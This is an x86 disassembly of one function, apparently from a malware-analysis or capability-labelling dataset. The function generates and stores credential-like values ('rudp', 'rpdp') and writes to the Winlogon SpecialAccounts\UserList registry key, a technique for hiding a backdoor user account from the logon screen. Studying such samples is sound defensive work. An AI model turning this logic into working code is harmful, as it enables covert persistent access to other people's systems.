Function at 0x8c442
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x97cc8
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esi, 0x97cc8
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x97d28], edi
mov dword [0x97d1c], 0x96cd0
mov dword [0x97d18], ebx
call fcn.0008bf64
test eax, eax
je 0x8c59c
push str.rudp
lea ecx, [ebp + 8]
call fcn.000833ab
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0008ef92
push eax
mov ecx, 0x97d20
call fcn.000831fd
mov ecx, dword [ebp + 0xc]
call fcn.000858fb
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0xc], esi
call fcn.000858fb
push str.rpdp
lea ecx, [ebp + 8]
call fcn.000833ab
push eax
lea eax, [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0008ef92
mov ebx, 0x97d24
push eax
mov ecx, ebx
call fcn.000831fd
mov ecx, dword [ebp + 0xc]
call fcn.000858fb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.000858fb
mov ecx, 0x97d20
call fcn.00083027
test eax, eax
jne 0x8c574
mov ecx, ebx
call fcn.00083027
test eax, eax
jne 0x8c574
mov ebx, 0x92428
lea ecx, [ebp + 8]
push ebx
call fcn.000833ab
push eax
push ebx
lea ecx, [ebp + 0xc]
call fcn.000833ab
push eax
push 8
lea ecx, [ebp - 0x20]
call fcn.000846da
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x20]
call fcn.000846b7
mov ecx, dword [ebp + 0xc]
call fcn.000858fb
mov ecx, dword [ebp + 8]
mov dword [ebp + 0xc], esi
call fcn.000858fb
jmp 0x8c594
push ebx
push 0x97d20
push 8
lea ecx, [ebp - 0x20]
call fcn.000846da
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x20]
call fcn.000846b7
xor esi, esi
inc esi
jmp 0x8c6a0
call fcn.0008d279
cmp eax, 6
jb 0x8c717
call fcn.0008d22a
test eax, eax
jne 0x8c717
call fcn.0008d724
cmp eax, 1
je 0x8c5ec
push 0x97d24
push 0x97d20
push 1
lea ecx, [ebp - 0x20]
call fcn.000846da
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x20]
call fcn.000846b7
xor esi, esi
jmp 0x8c6a0
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.0008326d
push eax
mov ecx, 0x97d20
call fcn.000831fd
mov ecx, dword [ebp + 8]
call fcn.000858fb
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.0008326d
mov ebx, 0x97d24
push eax
mov ecx, ebx
call fcn.000831fd
mov ecx, dword [ebp + 8]
call fcn.000858fb
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
push 4
push esi
push dword [0x97d20]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x97d20
call fcn.0008b55d
test eax, eax
jne 0x8c6b3
push ebx
push 0x97d20
push 9
lea ecx, [ebp - 0x20]
call fcn.000846da
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x20]
call fcn.000846b7
mov edi, 0x97cc8
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
jmp 0x8c744
push 0x97d20
push str.rudp
lea ecx, [ebp + 8]
call fcn.000833ab
mov esi, dword [ebp + 0xc]
mov ecx, esi
push eax
call fcn.0008ef5f
mov ecx, dword [ebp + 8]
call fcn.000858fb
push ebx
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.000833ab
push eax
mov ecx, esi
call fcn.0008ef5f
mov ecx, dword [ebp + 0xc]
call fcn.000858fb
mov edi, 0x97cc8
mov ecx, 0x97ce0
push edi
push 0x8c340
call fcn.00081e8e
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0x8c744
push 0x97d24
push 0x97d20
push 2
lea ecx, [ebp - 0x20]
call fcn.000846da
push eax
mov ecx, edi
call fcn.00084a3d
lea ecx, [ebp - 0x20]
call fcn.000846b7
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc